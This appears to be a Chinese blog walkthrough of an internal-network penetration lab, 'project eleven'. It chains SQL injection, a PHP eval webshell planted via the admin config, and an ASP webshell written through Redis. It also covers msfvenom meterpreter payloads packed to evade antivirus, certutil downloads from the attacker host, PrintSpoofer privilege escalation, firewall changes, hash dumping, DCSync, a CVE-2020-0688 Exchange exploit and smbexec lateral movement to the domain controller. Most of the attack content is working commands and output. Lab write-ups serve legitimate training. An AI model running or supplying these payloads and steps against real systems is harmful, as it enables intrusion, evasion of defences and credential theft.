【暗月内网靶场】项目十一(比较难的靶场)

暗月内网靶场


📆bilibili配套视频:
🔥系列专栏:暗月内网靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年5月8日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


靶场地址

知识点

基础的 php 代码审计、win 系统的宝塔系统提权、shellcode 免杀过火绒、内网漫游、三层网络、redis windows 写 shell
windwos 防火墙配置 (主要是会开端口和端口转发)、代理隧道应用,exchange
漏洞命令执行,打域控技巧。

环境搭建

在这里插入图片描述

需要设置一个vmnet19
把NAT的网卡设置成192.168.52.0/24
或者手动去redis的机器改一下静态IP
剩余的打开即用
静态IP均配置好的

在这里插入图片描述

账号密码

12server-bt
域名绑定:www.cocat.cc
192.168.52.131
后台的账号和密码 admin moon@123
bt登录后台
http://192.168.52.3:8888/e1VOsmtO/gOXZQjWAjSKyFFdj
本地管理员密码 administrator QWEasd444

12server-redis
192.168.52.4
10.10.10.202
redis服务密码:123456789qq
本地超级管理员密码:QWEasd1122 

12server-ex13
10.10.10.209
本地超级管理员 QWEasd456
https://mail.cncat.cc

12server-dc
 10.10.10.201
域控密码 :QWEasd123
普通用户两个如下:
moonsec QQqq5201314
test QQqq5201314 

打点,bt机(192.168.52.131)

先做hosts

gedit /etc/hosts

在这里插入图片描述而后访问域名,出现如下后台登陆框,可能存在sql注入,并且有可能目录爆破有东西
但是不敢随便爆,因为担心有宝塔啥的(她也确实有)

在这里插入图片描述
与此同时对开放的端口进行扫描

masscan 192.168.52.131 --ports 0-10000

在这里插入图片描述
针对开放的端口利用nmap进行扫描

nmap -v -Pn -T3 -sV -n -sT --open -p 21,3306,80,5985,888,8888 192.168.52.131

结果如下
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     FileZilla ftpd
80/tcp   open  http    Apache httpd 2.4.46 ((Win32) OpenSSL/1.1.1g mod_fcgid/2.3.9a)
888/tcp  open  http    Apache httpd 2.4.46 ((Win32) OpenSSL/1.1.1g mod_fcgid/2.3.9a)
3306/tcp open  mysql   MySQL (unauthorized)
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8888/tcp open  http    Ajenti http control panel
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

存在mysql未授权

存在mysql未授权

在这里插入图片描述但是不是root用户,用户名不知道连不上,先放一边

8888面板

在这里插入图片描述
看来只有刚才域名访问的才是正确的面板入口

80/888

也是都没啥,但是可以留着80,888,8888三个端口
如果后期没有进展可以考虑目录爆破看有没有东西

5985

可以用winrm连接,这个先不管,有了凭证可以直接连

www.cncat.cc信息收集

先爆破目录一下,主要集中在各种配置文件,备份文件的字典,以及通用字典
发现了web.zip
访问之后发现是网站源码
我们可以审计,但是先不审计,因为不太喜欢

在这里插入图片描述

代码审计得到SQL注入

网页右键源代码看看有啥东西
在这里插入图片描述 访问:http://www.hphu.com
在这里插入图片描述
确实可以拿到,这也给了我们代码审计的可能。而代码审计往往多见sql注入
同时也可以发现弱口令
在这里插入图片描述test01/可可网络验证
登陆尝试
在这里插入图片描述

本地搭建测试

但是失败
我们吧网站本地搭建起来,然后干一干
在这里插入图片描述这一块错了,是5.3.29版本
还需要在php扩展中开启phpzendcoder插件

然后导入数据库

在这里插入图片描述然后在网站根目录的admin_inc,下找到_config文件,修改红框2,3,4行为你对应的

在这里插入图片描述在这里插入图片描述

可以尝试一下代码审计
整体看一遍,发现存在支付模块
所以优先审计支付模块,因为支付模块往往存在大量的sql注入
支付模块在kss_inc下
payapi_notify.php以及payapi_notify2.php
在这里插入图片描述
我们把鼠标移到上面,phpstrom会自动显示不是被定义的函数,出现这种情况的原因是因为定义函数的php文件采用了加密
我们找到了如下的php文件
在这里插入图片描述bin_function_win.php文件,发现确实是加密的

所以我们找个在线zend解密网站进行解密

http://dezend.qiling.org/free.html
在这里插入图片描述
解密完就不是乱码了
再把它替换一下,看看函数是不是还是未定义
在这里插入图片描述

好的正常了
在这里插入图片描述扔到seay自动审计一下,把握一下大概方向
看到有很多sql注入
所以我们可以抓包然后直接甩给sqlmap,建议自己本地搭一个站来扫,防止打草惊蛇
这里要说的是,可能存在缺少参数的情况。所以我们还是要大概补充参数,稍稍看看源码

在这里插入图片描述
看到post提交了v_oid参数
所以我们也交
右键change request method变为post提交
然后带入v_oid参数
在这里插入图片描述他说Undefined index: v_pstatus
未定义参数,那我们就在post数据部分说一下
在这里插入图片描述
继续有所提示
那就继续写参数
在这里插入图片描述直到参数齐全
然后把整个数据包搞到一个txt文件中,然后sqlmap跑,建议加入–time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
但是我没加,因为很耗时
sqlmap -r http.txt --dbms mysql -v 1
跑了老半天跑出来了
在这里插入图片描述可以看到注入点在v_oid
所以我们再跑的时候就不用跑别的参数了

sqlmap开跑

sqlmap -r http.txt --dbms mysql -v 1 -p v_oid --dump -C "username,password" -D www_cocat_cc -T kss_tb_manager

在这里插入图片描述解密出来密码是moon@123
账号是moonsec_admin
然后回去登录
同时这个密码也可以记录下来,有可能存在密码复用的情况

在这里插入图片描述

接着我们找上传点,没找到,再找有没有可以后台getshell的地方,同时对照源码
找到一个这里
在这里插入图片描述
首先,我们都知道网站中修改的东西肯定都是要上到数据库的
那么这个地方的问题就在于,他是铭文保存的
那也就是说,我们可以在这里种下一颗小小的马

在这里插入图片描述

后台种马

原始:
define('QQMAIL','你的QQ号@qq.com');

要变成什么:
define('QQMAIL','你的QQ号@qq.com');eval($_POST['cmd']);//);

payload:
1');eval($_POST['cmd']);//

把payload输入进去:
define('QQMAIL','1');eval($_POST[cmd]);//');

在这里插入图片描述

在这里插入图片描述然后payload搞到真实环境
即可
在这里插入图片描述但是命令受限,有可能是php_disable_function,也可能是bt,护卫神,云盾那些的G东西
在这里插入图片描述试了蚂蚁插件,不行

在这里插入图片描述那就有可能是bt之类的,

接着去逛目录
在这里插入图片描述发现了BT

接着在里面逛,主要找一些可编辑的文件,txt,之类的
在这里插入图片描述又看到这个
然后对应目录区看看
在这里插入图片描述
还看到了
C:/BtSoft/panel/data/default.db
sqlite打开看一下

sqlite default.db

在这里插入图片描述

总结得到如下信息

宝塔的登录密码 C:/BtSoft/panel/data/default.pl jSKyFFdj
宝塔的登录端口 C:/BtSoft/panel/data/port.pl 8888
宝塔的登录网址路径 C:/BtSoft/panel/data/admin_path.pl /e1VOsmtO

最终:
账号 gOXZQjWA 密码 jSKyFFdj 登录 http://localhost:8888/e1VOsmtO

但是我们之前扫的8888没开,所以我们直接写一个php去访问

<?php
echo file_get_contents('http://localhost:8888/e1VOsmtO/')
?>

在这里插入图片描述但是登录不了
然后在机器根目录下还有一个frps文件夹
我们在里面修改frpc.ini
添加如下规则
把8888端口映射到他的8888端口

[8888]
type = tcp
local_ip = 127.0.0.1
local_port = 8888
remote_port = 8888

然后我们再按照路径去访问

在这里插入图片描述
在这里插入图片描述

免杀上马

然后到BT就比较熟悉了
直接计划任务
提前生成一个exe文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.52.129 lport=8888 -f c -o test.c

然后用掩日处理一下
不行的话再说
注意不能勾选64位编译

在这里插入图片描述能过火绒
在这里插入图片描述蚂蚁上传
然后回到BT界面定计划任务
在这之前,MSF开启监听

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.52.129
lhost => 192.168.52.129
msf6 exploit(multi/handler) > set lport 8888
lport => 8888
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.52.129:8888 

在这里插入图片描述

在这里插入图片描述

getsystem
run post/windows/gather/smart_hashdump

得到如下

[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:de935c6087ec367d3ef786915a4edcce:::
[+]     www:1001:aad3b435b51404eeaad3b435b51404ee:894f353e870620b186a9a46ce56ac8f1:::
[+]     mysql:1002:aad3b435b51404eeaad3b435b51404ee:291376866817cf2ccfe198308e5f925b:::

shell
发现只有一张网卡

run post/windows/gather/arp_scanner rhosts=192.168.52.0/24

ARP扫描一下
也可以按照之前的方法扫一下SMB,说不定可以用MS17-010
但是开的机器没有WIN7的
所以我就用的ARP
在这里插入图片描述
去掉1,2.还有我的两台机器还有这台已知的机器

就剩了个4
在这里插入图片描述但是ping不到,估计不出网
我们在拿到的主机里进shell去ping一下
在这里插入图片描述也不通,可能是禁ping
那就masscan先不带代理扫一下
在这里插入图片描述然后nmap对应一下
在这里插入图片描述80端口
在这里插入图片描述是个IIS站点
默认根目录是inetpub/wwwroot

确实是redis
但是没有未授权
但是只有这一个目标
直接爆破
在这里插入图片描述
123456789qq
所以我们直接连接,尝试在IIS的根目录写一个ASP的SHELL
因为是IIS,所以默认路径inetpub/wwwroot
又因为是IIS,所以解析ASP/ASPX

└─# redis-cli -h 192.168.52.4
192.168.52.4:6379> auth 123456789qq
OK
192.168.52.4:6379> config set dir C:/inetpub/wwwroot
OK
192.168.52.4:6379> set xxx "\n\n\n<%eval request(\"cmd\")%>\n\n\n"
OK
192.168.52.4:6379> config set dbfilename shell.asp
OK
192.168.52.4:6379> save
OK
192.168.52.4:6379> quit

在这里插入图片描述接着直接访问
在这里插入图片描述
有东西
蚂蚁尝试连接

在这里插入图片描述

没有命令限制
但是权限很低
但是跨越网段
但是不出网

在这里插入图片描述接着我想MSF上线

msfvenom -p windows/meterpreter/bind_tcp LPORT=3344 -e x86/shikata_ga_nai -i 20 -f exe -o bind.exe

去C:/Windows/Temp/下操作

但是直接传失败了
有可能是
权限不够
那么接下来准备提权一下

在这里插入图片描述
在这里插入图片描述
这么多补丁,还不在域内
但是转念一想,我又穿不上来东西
我得先解决这个问题
蚂蚁的上传本质是写入
那我直接下载行不行呢
在这里插入图片描述
他可以ping到我

最后发现
C:/ProgramData/
可以写进去

certutil -urlcache -split -f http://192.168.52.129/bind.exe a.exe

在这里插入图片描述
然后运行一下
我们现在MSF准备好

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.52.4
set lport 3344
exploit

但是没反应
估计还得提权才能拿到shell
在这里插入图片描述
半天在这卡着
所以我觉得防火墙就没开这个端口,但是防火墙又没权限关
所以还是得提权
在这里插入图片描述
winpeas搞不了

突然想到,忘记一个东西
whoami /priv
在这里插入图片描述
直接上
在这里插入图片描述

certutil -urlcache -split -f http://192.168.52.129/PrintSpoofer32.exe root.exe

在这里插入图片描述
现在关闭防火墙
然后运行a.exe(之前做的正向连接木马)

root.exe -i -c "netsh firewall add portopening tcp 3344 msf"
root.exe -i -c "a.exe"

就OK了

在这里插入图片描述run post/windows/manage/migrate
自动迁移一下进程

在这里插入图片描述双网卡
一会做路由
在这里插入图片描述

也不再域内
那就扫一扫
10.10.10.0网段主机吧

run post/windows/gather/arp_scanner rhosts=10.10.10.0/24

在这里插入图片描述

扫描 10 段的主机发现存在 201 和 209
在这里插入图片描述回到meter,全部下载下来

meterpreter > cd "C:\Users\Administrator\Documents\Outlook 文件"
meterpreter > download *

在这里插入图片描述使用pstviewer打开

在这里插入图片描述
得到账号密码
moonsec QQqq5201314
现在做路由去nmap一下下一个目标

查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.10.0/24
查看添加的路由表信息
run autoroute -p
background
use auxiliary/server/socks_proxy
设置代理
set SRVPORT 6666
run
gedit /etc/proxychains4.conf
proxychains4 nmap -sT 10.10.10.209 10.10.10.201 -p80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,11211,27017,27018,50000,50070,50030,21,22,23,2601,3389

在这里插入图片描述

209
80/tcp    open   http
135/tcp   open   msrpc
443/tcp   open   https
445/tcp   open   microsoft-ds

201
53
80
135
445

那我们带着代理访问一下209的https端口看是怎么个事

浏览器直接配socks代理就行

在这里插入图片描述那么对于exchange重要资产
我们有很多RCE的EXP
这都需要我们要么拥有一个账户
或者是账户密码
我们现在就要在通10.10.10.0的机器上去找
毫无疑问,就是redis服务器

那么经过寻找
C:\Users\Administrator\Documents\Outlook 文件
找到了outlook文件

meterpreter > cd "C:\Users\Administrator\Documents\Outlook ������"
meterpreter > download *

用pstviewer打开
找到了凭证

然后那刚才找到凭证登录
cncat/moonsec QQqq5201314

CVE-2020-0688

OK
那么我们可以利用CVE-2020-0688尝试

https://github.com/Yt1g3r/CVE-2020-0688_EXP

在这里插入图片描述让我们把a.exe放到202的80端口,也就是IIS网站目录,然后让209从202下载
或者也可以做反代,但是比较麻烦,不必要
因为之前我们的a.exe正在执行,所以复制不过去,我们重新上传一个,命名为b.exe
但是蚂蚁都上不去,system也copy不过去
所以用MSF上传

传到iis默认路径,这样我们的209就可以葱202下载了

upload /root/桌面/bind.exe C:/inetpub/wwwroot/b.exe

在这里插入图片描述

本地配置好准备接shell

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set RHOST 10.10.10.209
set lport 3344
exploit

因为MSF的代理不好用,所以我用之前介绍过的stowaway去做

./linux_x64_admin -l 192.168.52.129:8000 -s 123 //本地开启服务端
upload /root/桌面/windows_x86_agent.exe C:/inetpub/wwwroot/win86.exe //上传
win86.exe -c 192.168.52.129:8000 -s 123 --reconnect 8 //在那边开启客户端

而后windows使用proxifier连接
在这里插入图片描述如图
在这里插入图片描述而后执行如下,进行exp的利用

安装一下依赖环境

python -m pip install pyreadline

python3 CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c certutil -urlcache -split -f http://10.10.10.202/b.exe c:/3344.exe"

python3 CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c netsh firewall add portopening tcp 3344 msf"

python3 CVE-2020-0688_EXP.py -s https://10.10.10.209 -u cncat\moonsec -p QQqq5201314 -c "cmd /c c:/3344.exe"

在这里插入图片描述
拿到了shell
在这里插入图片描述PS发现域管进程
直接窃取
在这里插入图片描述

凭据窃取

migrate 11176
load kiwi
dcsync administrator

在这里插入图片描述解密得到密码为QWEasd123

直接横向过去

横向域控

proxychains4 python3 /usr/share/doc/python3-impacket/examples/smbexec.py cncat/administrator:QWEasd123@10.10.10.201

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值